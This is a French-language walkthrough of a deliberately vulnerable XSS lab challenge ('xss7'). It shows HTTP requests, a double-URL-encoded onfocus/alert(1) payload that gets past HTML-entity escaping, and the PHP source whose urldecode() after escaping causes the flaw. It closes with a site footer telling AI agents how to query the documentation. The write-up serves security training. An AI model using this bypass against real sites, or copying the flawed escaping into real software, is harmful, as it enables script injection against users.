# xss7

## Exploitation

Dans cet avant dernier challenge, l'application encode maintenant les chevrons `<` et `>` ainsi que le caractère `"` :&#x20;

![](/files/FE21vv8XHSkke11Am3hW)

Je renseigne ces caractères afin de mieux déterminer le traitement effectué :

```http
POST /xss7/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss7/

search=whatever%3C%3E%22&submit=Envoyer
```

Les caractères sont ici correctement encodés par une transformation en entités HTML :&#x20;

```html
HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 2130
Connection: close
Content-Type: text/html; charset=UTF-8



<div class="form-group col-md-2">
  <input type="text" class="form-control" id="search" name="search" value="whatever&lt;&gt;&quot;" placeholder="keyword" required>
</div> 
```

![](/files/rCr0KDNOJYoIL2sDyjiU)

Je tente d'utiliser le caractère `'` à la place de `"` mais cela ne fonctionne pas. Il me faut donc trouver une payload représentée sous un autre format que les caractères filtrés. Au bout de quelques essais je tente l'encodage URL `whatever%2522+onfocus%3D%2522alert%281%29%2522+autofocus+x%3D%2522` :&#x20;

```http
POST /xss7/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss7/

search=whatever%2522+onfocus%3D%2522alert%281%29%2522+autofocus+x%3D%2522&submit=Envoyer
```

```html
HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 2150
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="form-group col-md-2">
  <input type="text" class="form-control" id="search" name="search" value="whatever" onfocus="alert(1)" autofocus x="" placeholder="keyword" required>
</div>
```

Et cela fonctionne :&#x20;

![](/files/p82VEYCiJioVenJf0VAs)

## Analyse du code source

La fonction `xss_check()` effectue bien les modifications indiquées par l'auteur, à savoir la transformation en entités HTML des caractères `<`, `>` et `"`. L'injection avec le caractère `'` n'est en effet pas possible ici, car la construction du code s'effectue bien avec le double guillemet. L'injection en utilisant l'encodage URL est possible ici car l'application effectue un `urldecode()`, je ne pense pas que l'injection soit possible sans cela :thinking: :&#x20;

```php
<?php
  if (isset ($_POST['submit']) && isset ($_POST['search'])) {
    $keyword = $_POST['search'];
  }

  function xss_check($data) {
    $input = str_replace("<", "&lt;", $data);
    $input = str_replace(">", "&gt;", $input);
    $input = str_replace("\"", "&quot;", $input);
    $input = urldecode($input);
    
    return $input;
  }
?>

<div class="row">
  <form name="forgetPass" method="post">
    <div class="form-group col-md-2">
      <input type="text" class="form-control" id="search" name="search" value="<?php if (isset ($keyword) && !empty ($keyword)){ echo xss_check($keyword); }?>" placeholder="keyword" required>
    </div>
    <div class="form-group col-md-2">
      <input type="submit" class="form-control btn btn-default" name="submit">
    </div>
  </form>
</div>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sharpforce.gitbook.io/cybersecurity/walkthroughs/deliberately-vulnerable/xss-vulnerability-challenges/xss7.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.